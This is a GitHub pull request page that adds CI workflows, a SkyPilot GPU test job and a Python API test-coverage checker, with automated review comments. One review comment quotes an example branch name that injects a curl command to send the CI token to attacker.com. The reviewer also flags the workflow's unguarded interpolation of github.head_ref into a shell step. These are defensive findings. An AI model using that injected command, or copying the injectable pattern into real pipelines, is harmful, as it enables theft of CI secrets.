-
Notifications
You must be signed in to change notification settings - Fork 2
Ci/cpu ref tests #91
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Ci/cpu ref tests #91
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,24 @@ | ||
| # CI CPU Reference Tests on GPU | ||
| # Runs tests/ref/ with CUDA + FLA (flash-linear-attention) available | ||
| # so that GPU comparison tests (CPU ref vs FLA Triton) are not skipped. | ||
| # | ||
| # Usage (local): | ||
| # sky launch .github/ci/cpu-ref-tests-gpu.sky.yaml --down -y | ||
| # | ||
| # In CI this is invoked by .github/workflows/cpu_ref_tests.yml | ||
|
|
||
| workdir: . | ||
|
|
||
| resources: | ||
| accelerators: L4:1 | ||
| use_spot: true | ||
|
|
||
| setup: | | ||
| pip install uv | ||
| cd ~/sky_workdir | ||
| uv pip install -e '.[gpu]' --system | ||
| uv pip install pytest --system | ||
|
|
||
| run: | | ||
| cd ~/sky_workdir | ||
| pytest tests/ref/ -v -o "addopts=--strict-markers" |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,25 @@ | ||
| name: API Coverage Check | ||
|
|
||
| on: | ||
| push: | ||
| branches: [main] | ||
| pull_request: | ||
| branches: [main] | ||
|
|
||
| jobs: | ||
| api_coverage: | ||
| name: "Check public API test coverage" | ||
| runs-on: ubuntu-latest | ||
| timeout-minutes: 5 | ||
| steps: | ||
| - uses: actions/checkout@v4 | ||
|
|
||
| - uses: actions/setup-python@v5 | ||
| with: | ||
| python-version: "3.12" | ||
|
|
||
| - name: Check public API test coverage | ||
| run: python scripts/check_test_coverage.py | ||
|
|
||
| - name: Check public function assertions | ||
| run: python scripts/check_asserts.py |
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,63 @@ | ||||||||||||||||||||||||||||||
| name: CPU Reference Tests | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| on: | ||||||||||||||||||||||||||||||
| push: | ||||||||||||||||||||||||||||||
| branches: [main] | ||||||||||||||||||||||||||||||
| paths: | ||||||||||||||||||||||||||||||
| - "tops/cpu/**" | ||||||||||||||||||||||||||||||
| - "tests/ref/**" | ||||||||||||||||||||||||||||||
| pull_request: | ||||||||||||||||||||||||||||||
| branches: [main] | ||||||||||||||||||||||||||||||
| paths: | ||||||||||||||||||||||||||||||
| - "tops/cpu/**" | ||||||||||||||||||||||||||||||
| - "tests/ref/**" | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| concurrency: | ||||||||||||||||||||||||||||||
| group: cpu-ref-tests-${{ github.head_ref || github.ref_name }} | ||||||||||||||||||||||||||||||
| cancel-in-progress: true | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| jobs: | ||||||||||||||||||||||||||||||
| cpu_ref_tests: | ||||||||||||||||||||||||||||||
| name: "CPU ref tests (GPU via SkyPilot)" | ||||||||||||||||||||||||||||||
| runs-on: ubuntu-latest | ||||||||||||||||||||||||||||||
| permissions: | ||||||||||||||||||||||||||||||
| contents: read | ||||||||||||||||||||||||||||||
| id-token: write | ||||||||||||||||||||||||||||||
|
Comment on lines
+20
to
+25
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🧩 Analysis chain🏁 Script executed: cat -n .github/workflows/cpu_ref_tests.ymlRepository: primatrix/pallas-kernel Length of output: 2184 🏁 Script executed: # Let me check if there are any existing guards or conditions on this job
rg "if:" .github/workflows/cpu_ref_tests.ymlRepository: primatrix/pallas-kernel Length of output: 87 🌐 Web query:
💡 Result: Yes, GitHub Actions secrets (repository, organization, or environment secrets, except GITHUB_TOKEN) are not available to workflows triggered by pull requests from forked repositories when using the standard pull_request event. This is a deliberate security feature to prevent malicious actors from accessing secrets via untrusted code in a forked PR. Key points from official documentation: - Workflows on pull_request from forks run in the context of the fork's code with read-only GITHUB_TOKEN and no access to secrets. - To access secrets for fork PRs, use pull_request_target event, which runs in the base repository's context (access to secrets and write permissions). However, this requires careful handling: do not checkout or execute untrusted PR code without validation, as it risks secret exfiltration. - Enable repository/organization settings like "Require approval for first time contributors" or workflow approvals for added safety. - Alternatives: Use workflow_run triggered after a successful pull_request CI job, or OIDC for cloud auth without long-lived secrets. This behavior remains current as of 2026 per GitHub Docs. Citations:
Guard the cloud-backed job on forked PRs. Forked 🛠️ Suggested change jobs:
cpu_ref_tests:
name: "CPU ref tests (GPU via SkyPilot)"
+ if: github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository
runs-on: ubuntu-latest🤖 Prompt for AI Agents |
||||||||||||||||||||||||||||||
| timeout-minutes: 30 | ||||||||||||||||||||||||||||||
| steps: | ||||||||||||||||||||||||||||||
| - uses: actions/checkout@v4 | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| - uses: actions/setup-python@v5 | ||||||||||||||||||||||||||||||
| with: | ||||||||||||||||||||||||||||||
| python-version: "3.12" | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| - name: Authenticate to GCP | ||||||||||||||||||||||||||||||
| uses: google-github-actions/auth@v2 | ||||||||||||||||||||||||||||||
| with: | ||||||||||||||||||||||||||||||
| workload_identity_provider: ${{ secrets.GCP_WORKLOAD_IDENTITY_PROVIDER }} | ||||||||||||||||||||||||||||||
| service_account: ${{ secrets.GCP_SERVICE_ACCOUNT }} | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| - name: Set up Cloud SDK | ||||||||||||||||||||||||||||||
| uses: google-github-actions/setup-gcloud@v2 | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| - name: Install SkyPilot | ||||||||||||||||||||||||||||||
| run: pip install 'skypilot[gcp]' | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| - name: Generate cluster name | ||||||||||||||||||||||||||||||
| id: cluster | ||||||||||||||||||||||||||||||
| run: | | ||||||||||||||||||||||||||||||
| BRANCH="${{ github.head_ref || github.ref_name }}" | ||||||||||||||||||||||||||||||
| NAME="ci-ref-$(echo "$BRANCH" | tr '/_' '--' | tr '[:upper:]' '[:lower:]' | head -c 20)-${GITHUB_RUN_NUMBER}" | ||||||||||||||||||||||||||||||
| echo "name=$NAME" >> "$GITHUB_OUTPUT" | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
Comment on lines
+46
to
+52
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🧩 Analysis chain🏁 Script executed: # First, let's check the actual workflow file to understand the context
cat -n .github/workflows/cpu_ref_tests.yml | head -60Repository: primatrix/pallas-kernel Length of output: 2049 🌐 Web query:
💡 Result: Yes, direct interpolation of GitHub Actions context variables like github.head_ref into shell commands (run: steps) enables command injection vulnerabilities. github.head_ref represents the source branch of a pull request (available in pull_request or pull_request_target events) and is attacker-controlled, especially in forks or pull requests. Vulnerable pattern: - run: echo "${{ github.head_ref }}" An attacker creates a branch named test"; curl https://attacker.com/?token=$GITHUB_TOKEN;#, injecting and executing arbitrary shell commands, potentially exfiltrating secrets like GITHUB_TOKEN. This is confirmed in official GitHub documentation on script injections, which lists github.head_ref as untrusted input that can lead to shell command injection when interpolated into inline scripts. Real-world examples include CVEs like CVE-2026-33475 (Langflow) and GHSA-7x29-qqmq-v6qc (ultralytics/actions), where unsanitized use of github.head_ref in run: steps allowed RCE via malicious branch names. Mitigations (per GitHub docs): 1. Use environment variables: - env: HEAD_REF: ${{ github.head_ref }} run: echo "$HEAD_REF" The expression evaluates to a safe env var, preventing injection during shell script generation. 2. Prefer JavaScript actions over inline shell scripts for processing untrusted input. 3. Avoid pull_request_target trigger unless necessary, as it provides write access and untrusted checkout. 4. Pin GITHUB_TOKEN permissions to read-only where possible. Use in if: conditions or non-shell contexts (e.g., with:) is safe, as expressions are evaluated by the Actions engine, not shell. Citations:
🌐 Web query:
💡 Result: In GitHub Actions, using Citations:
Don't interpolate Line 49 splices attacker-controlled branch names into the script body. A branch like 🛠️ Suggested change - name: Generate cluster name
id: cluster
+ env:
+ BRANCH_NAME: ${{ github.head_ref || github.ref_name }}
run: |
- BRANCH="${{ github.head_ref || github.ref_name }}"
+ BRANCH="$BRANCH_NAME"
NAME="ci-ref-$(echo "$BRANCH" | tr '/_' '--' | tr '[:upper:]' '[:lower:]' | head -c 20)-${GITHUB_RUN_NUMBER}"
echo "name=$NAME" >> "$GITHUB_OUTPUT"📝 Committable suggestion
Suggested change
🧰 Tools🪛 actionlint (1.7.11)[error] 48-48: "github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details (expression) 🤖 Prompt for AI Agents |
||||||||||||||||||||||||||||||
| - name: Run tests on GPU via SkyPilot | ||||||||||||||||||||||||||||||
| run: | | ||||||||||||||||||||||||||||||
| sky launch .github/ci/cpu-ref-tests-gpu.sky.yaml \ | ||||||||||||||||||||||||||||||
| --cluster "${{ steps.cluster.outputs.name }}" \ | ||||||||||||||||||||||||||||||
| --down \ | ||||||||||||||||||||||||||||||
| -y | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| - name: Cleanup | ||||||||||||||||||||||||||||||
| if: always() | ||||||||||||||||||||||||||||||
| run: | | ||||||||||||||||||||||||||||||
| sky down "${{ steps.cluster.outputs.name }}" -y 2>/dev/null || true | ||||||||||||||||||||||||||||||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,177 @@ | ||
| #!/usr/bin/env python3 | ||
| """ | ||
| 检查 tops/ops/ 下所有公开接口是否具有对应的测试覆盖。 | ||
|
|
||
| 扫描 tops/ops/ 各子包的 __init__.py,提取公开 API 符号列表, | ||
| 然后在 tests/ 目录中搜索每个符号是否被至少一个测试文件引用。 | ||
| 若存在未覆盖的接口,脚本以非零退出码退出,可用于 CI 门控。 | ||
|
|
||
| 支持的导出风格: | ||
| 1. __all__ = ["symbol1", "symbol2", ...] | ||
| 2. from .mod import name as name (PEP 484 显式 re-export) | ||
| """ | ||
|
|
||
| import ast | ||
| import re | ||
| import sys | ||
| from pathlib import Path | ||
|
|
||
|
|
||
| def _extract_dunder_all(tree: ast.Module) -> list[str]: | ||
| """从 AST 中提取 __all__ 列表中的字符串常量。""" | ||
| for node in ast.iter_child_nodes(tree): | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. |
||
| if not isinstance(node, ast.Assign): | ||
| continue | ||
| for target in node.targets: | ||
| if isinstance(target, ast.Name) and target.id == "__all__": | ||
| if isinstance(node.value, ast.List): | ||
| return [ | ||
| elt.value | ||
| for elt in node.value.elts | ||
| if isinstance(elt, ast.Constant) and isinstance(elt.value, str) | ||
| ] | ||
| return [] | ||
|
|
||
|
|
||
| def _extract_reexports(tree: ast.Module) -> list[str]: | ||
| """提取 'from .mod import name as name' 风格的显式 re-export 符号。""" | ||
| names = [] | ||
| for node in ast.iter_child_nodes(tree): | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. |
||
| if not isinstance(node, ast.ImportFrom): | ||
| continue | ||
| if node.level == 0: | ||
| continue | ||
| for alias in node.names: | ||
| if alias.asname is not None and alias.asname == alias.name: | ||
| names.append(alias.asname) | ||
| return names | ||
|
|
||
|
|
||
| def discover_public_interfaces(ops_dir: Path) -> dict[str, list[str]]: | ||
| """扫描 tops/ops/ 子包的 __init__.py,发现公开 API 符号。 | ||
|
|
||
| 检测策略(按优先级): | ||
| 1. 若 __init__.py 含 __all__ = [...] → 使用其中的符号名 | ||
| 2. 若 __init__.py 含 'from .x import y as y' re-export → 收集符号名 | ||
| 3. 若 __init__.py 为空或无导出内容 → 跳过 | ||
|
|
||
| Args: | ||
| ops_dir: tops/ops/ 目录路径 | ||
|
|
||
| Returns: | ||
| dict,键为 "tops.ops.<subpackage>",值为公开符号名列表 | ||
| """ | ||
| result = {} | ||
| for subdir in sorted(ops_dir.iterdir()): | ||
| if not subdir.is_dir(): | ||
| continue | ||
| init_file = subdir / "__init__.py" | ||
| if not init_file.exists(): | ||
| continue | ||
|
|
||
| source = init_file.read_text(encoding="utf-8") | ||
| if not source.strip(): | ||
| continue | ||
|
|
||
| tree = ast.parse(source, filename=str(init_file)) | ||
|
|
||
| all_names = _extract_dunder_all(tree) | ||
| if all_names: | ||
| result[f"tops.ops.{subdir.name}"] = all_names | ||
| continue | ||
|
|
||
| reexports = _extract_reexports(tree) | ||
| if reexports: | ||
| result[f"tops.ops.{subdir.name}"] = reexports | ||
| continue | ||
|
|
||
| return result | ||
|
|
||
|
|
||
| def find_test_references( | ||
| tests_dir: Path, symbols: list[str] | ||
| ) -> dict[str, list[str]]: | ||
| """检查哪些符号在测试文件中被引用。 | ||
|
|
||
| 扫描 tests/ 下所有 .py 文件(排除 tests/src/), | ||
| 对每个符号做词边界正则匹配。 | ||
|
|
||
| Args: | ||
| tests_dir: tests/ 目录路径 | ||
| symbols: 待检查的符号名列表 | ||
|
|
||
| Returns: | ||
| dict,键为符号名,值为引用该符号的测试文件路径列表 | ||
| """ | ||
| patterns = { | ||
| sym: re.compile(r"\b" + re.escape(sym) + r"\b") for sym in symbols | ||
| } | ||
| references: dict[str, list[str]] = {sym: [] for sym in symbols} | ||
|
|
||
| for py_file in sorted(tests_dir.rglob("*.py")): | ||
| rel = py_file.relative_to(tests_dir) | ||
| if rel.parts and rel.parts[0] == "src": | ||
| continue | ||
|
|
||
| content = py_file.read_text(encoding="utf-8") | ||
| for sym, pattern in patterns.items(): | ||
| if pattern.search(content): | ||
| references[sym].append(str(py_file)) | ||
|
Comment on lines
+106
to
+119
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 当前 为了优化,建议将所有符号合并成一个单一的、更复杂的正则表达式。这样,对于每个文件,只需进行一次正则搜索即可找到所有被引用的符号。这种方法可以显著提高脚本的执行速度,尤其是在 CI 环境中。 if not symbols:
return {}
references: dict[str, list[str]] = {sym: [] for sym in symbols}
combined_pattern = re.compile("\\b(" + "|".join(map(re.escape, symbols)) + ")\\b")
for py_file in sorted(tests_dir.rglob("*.py")):
rel = py_file.relative_to(tests_dir)
if rel.parts and rel.parts[0] == "src":
continue
content = py_file.read_text(encoding="utf-8")
for sym in set(combined_pattern.findall(content)):
references[sym].append(str(py_file)) |
||
|
|
||
| return references | ||
|
|
||
|
|
||
| def main(): | ||
| project_root = Path(__file__).resolve().parents[1] | ||
| ops_dir = project_root / "tops" / "ops" | ||
| tests_dir = project_root / "tests" | ||
|
|
||
| assert ops_dir.is_dir(), f"目录不存在: {ops_dir}" | ||
| assert tests_dir.is_dir(), f"目录不存在: {tests_dir}" | ||
|
|
||
| interfaces = discover_public_interfaces(ops_dir) | ||
|
|
||
| if not interfaces: | ||
| print("未在 tops/ops/ 中发现公开接口,无需检查。") | ||
| sys.exit(0) | ||
|
|
||
| all_symbols = [] | ||
| for symbols in interfaces.values(): | ||
| all_symbols.extend(symbols) | ||
|
|
||
| references = find_test_references(tests_dir, all_symbols) | ||
|
|
||
| total = 0 | ||
| covered = 0 | ||
| gaps = [] | ||
|
|
||
| for pkg, symbols in sorted(interfaces.items()): | ||
| print(f"\n{'=' * 60}") | ||
| print(f"Package: {pkg} ({len(symbols)} interfaces)") | ||
| print(f"{'=' * 60}") | ||
| for sym in symbols: | ||
| total += 1 | ||
| files = references.get(sym, []) | ||
| if files: | ||
| covered += 1 | ||
| print(f" [PASS] {sym} ({len(files)} test files)") | ||
| else: | ||
| gaps.append((pkg, sym)) | ||
| print(f" [MISS] {sym} -- 无测试覆盖") | ||
|
|
||
| print(f"\n{'=' * 60}") | ||
| print(f"汇总: {covered}/{total} 接口已覆盖") | ||
| print(f"{'=' * 60}") | ||
|
|
||
| if gaps: | ||
| print(f"\n检查失败: {len(gaps)} 个接口缺少测试覆盖:") | ||
| for pkg, sym in gaps: | ||
| print(f" - {pkg}.{sym}") | ||
| sys.exit(1) | ||
| else: | ||
| print("\n所有公开接口均已具备测试覆盖。") | ||
| sys.exit(0) | ||
|
|
||
|
|
||
| if __name__ == "__main__": | ||
| main() | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
🧩 Analysis chain
🏁 Script executed:
Repository: primatrix/pallas-kernel
Length of output: 473
🏁 Script executed:
Repository: primatrix/pallas-kernel
Length of output: 2228
🏁 Script executed:
Repository: primatrix/pallas-kernel
Length of output: 872
🏁 Script executed:
Repository: primatrix/pallas-kernel
Length of output: 587
Include the delegated CI files in this trigger set.
This workflow fully delegates execution to
.github/ci/cpu-ref-tests-gpu.sky.yaml(lines 16-24 contain the dependency setup and pytest execution), but neither that file nor this workflow itself is included in the trigger paths. A PR that only changes the CI wiring will merge without ever exercising this check.🛠️ Suggested change
push: branches: [main] paths: + - ".github/workflows/cpu_ref_tests.yml" + - ".github/ci/cpu-ref-tests-gpu.sky.yaml" - "tops/cpu/**" - "tests/ref/**" pull_request: branches: [main] paths: + - ".github/workflows/cpu_ref_tests.yml" + - ".github/ci/cpu-ref-tests-gpu.sky.yaml" - "tops/cpu/**" - "tests/ref/**"📝 Committable suggestion
🤖 Prompt for AI Agents